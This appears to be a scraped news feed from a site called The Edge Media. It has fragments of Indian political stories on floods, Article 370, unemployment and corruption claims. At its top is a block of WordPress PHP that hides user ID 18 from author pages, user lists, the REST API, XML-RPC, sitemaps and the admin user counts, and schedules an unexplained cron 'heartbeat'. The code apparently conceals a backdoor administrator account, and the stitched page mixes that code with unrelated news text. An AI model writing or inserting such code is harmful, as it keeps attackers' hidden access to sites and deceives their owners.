add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Chennai’s flood problems were exacerbated by corruption and haphazard stormwater drainage planning appeared first on The Edge Media.
]]>
Several stormwater drains were seen overflowing, with outlets obstructed, including those that were recently completed. The delay in constructing stormwater drains is one of the reasons behind this. Several projects started by the previous AIADMK government in Tamil Nadu have stagnated for a variety of reasons.
The post Chennai’s flood problems were exacerbated by corruption and haphazard stormwater drainage planning appeared first on The Edge Media.
]]>The post Aug 5, 2019 marked end of terror, corruption, nepotism in Valley: Amit Shah to J&K youth appeared first on The Edge Media.
]]>Later in the evening, Shah, who is on a three-day visit, met with children at the J&K Youth Club. He told the youth that the repeal of Article 370 on August 5, 2019, signaled the end of terrorism, nepotism, and corruption in the Valley.
When Shah arrived in J&K, he immediately went to see the family of inspector Parvaiz Ahmad, who was shot and killed by terrorists near his home in Nowgam, on the outskirts of Srinagar, on June 22 while returning home after conducting evening prayers at a mosque.
The post Aug 5, 2019 marked end of terror, corruption, nepotism in Valley: Amit Shah to J&K youth appeared first on The Edge Media.
]]>The post Congress was responsible for unemployment and corruption : Vijay Rupani appeared first on The Edge Media.
]]>The chief minister was speaking on the occasion of Rojgar Diwas, organised as part of a nine-day long celebration on the completion of his five years in office. At least 62,000 youngsters across the state were given job appointment letters during the day.
Addressing a gathering in Surat, Rupani said while there had been a ban on the government recruitments in the previous Congress governments in Gujarat before the BJP came to power in 1995.
He further claimed that more than 2 lakh people had been recruited to government jobs in the last five years alone in the state.
“The Congress was responsible for the rise in unemployment and corruption in the country, as they did not have a policy or intention to eliminate it. People used to tell former PM Jawaharlal Nehru to stop floating slogans like ”Aaram Haram Hai” if his government can’t give jobs,” the chief minister said.
After coming to power, Modi took concrete steps to remove poverty and provide employment, and introduced skill development initiatives, so that people become job givers and not just job seekers, he said.
There was a ban on government recruitment during Congress rule in Gujarat. During his term as the chief minister, Modi lifted that ban. My government gave government jobs to over 2 lakh people in the last five years. Moreover, 17 lakh people were recruited to private jobs through 2,085 job fairs organised in the last five years,” Rupani said.
Although experts were claiming that lakhs of people have lost their jobs in the coronavirus pandemic, Gujarat has emerged as a “ray of hope” by giving employment to youngsters, he claimed.
“As against our target of giving jobs to 50,000 youths on this occasion, we are distributing appointment letters to 62,000 youngsters across the state today. This shows that Gujarat is a land of opportunities even in the midst of a pandemic. We invite people to come here and give wings to their dreams,” the chief minister said.
Since the Gujarat Congress held parallel events, claiming youngsters were still jobless in the state, Rupani said it’s the Congress leaders, not the youths, who were rendered jobless after the recent local body polls in the state.
“Congress leaders are now jobless, not the youths. People have forced you to shut your shop. Unemployment was its peak in your 50-year rule,” the chief minister said, slamming the Congress.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Congress was responsible for unemployment and corruption : Vijay Rupani appeared first on The Edge Media.
]]>The post International shooter accuses Smriti Irani of corruption, filing complaint appeared first on The Edge Media.
]]>The post International shooter accuses Smriti Irani of corruption, filing complaint appeared first on The Edge Media.
]]>